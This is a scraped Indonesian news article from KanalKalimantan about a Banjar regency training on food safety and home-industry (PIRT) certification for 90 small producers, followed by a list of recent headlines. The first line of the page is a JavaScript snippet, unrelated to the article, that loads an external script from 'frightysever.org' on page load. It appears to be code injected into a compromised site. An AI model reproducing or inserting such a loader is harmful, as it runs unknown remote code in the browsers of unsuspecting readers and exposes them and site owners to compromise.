(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Disperindag Banjar Gelar Bimtek untuk Pelaku Usaha Industri Kecil Menengah


KANALKALIMANTAN.COM, MARTAPURA – Guna meningkatkan mutu produk yang bersih dan higienis Dinas Perindustrian dan Perdagangan (Diperindag) Kabupaten Banjar menyelenggarakan bimbingan teksnis (Bimtek) bagi pelaku usaha Industri Kecil Menengah (IKM).

Bimtek ini tentang penyuluhan keamanan pangan angkatan I fasilitas Produk Industri Rumah Tangga (PIRT) acara diselenggarakan di rumah makan lesehan Desa Handil I Penggalaman, Martapura Barat, Kabupaten Banjar, Rabu (10/11/2021).

“Total peserta yang mengikuti Bimtek ini 90 pelaku usaha IKM yang ada di 20 kecamatan di Kabupaten Banjar. Bimtek selama dua hari ini tetap mengedepankan protokol kesehatan masa pandemi Covid-19 akan dibagi menjadi dua sesi kegiatan,” ujar Kepala Disperindag Banjar I Gusti Made Suryawati.

Dengan mengikuti bimtek ini pelaku usaha binaan akan diajarkan membuat produk olahan yang bersih, higienis sehingga menjadi produk yang layak jual dan layak konsumsi.

 

Baca juga : Bupati Saidi Mansyur Ajak Generasi Muda Wujudkan Cita-cita Para Pahlawan

“Produk binaan dari peserta bimtek ini bisa dengan mudah mendapatkan sertifikat PIRT. Karena untuk mendapatkan izin PIRT, minimal produk olahan pelaku usaha IKM memiliki kemampuan masa simpan bertahan hingga 7 hari. Di bimtek ini akan diajarkan hal tersebut,” jelas Suryawati.

Demi menjamin mutu olahan pangan produk IKM nantinya akan di uji melalui laboratorium. Ini dilakukan guna memastikan produk tersebut negatif dari bahan berbahaya bagi tubuh dan produk makanan dinyatakan layak makan serta keamanan pangan terjamin.

Suryawati juga memastikan peserta bimtek akan mendapatkan desain label produk olahan mereka sendiri. Disperindag menyediakan tempat untuk pembuatan label produk.

“Pembuatan label tersebut gratis akan dibuatkan oleh Disperindag sesuai desain produk dari masing-masing pelaku usaha IKM,” pungkasnya. (MC Kominfo/Desy)

Reporter : desy
Editor : cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

14 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

14 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.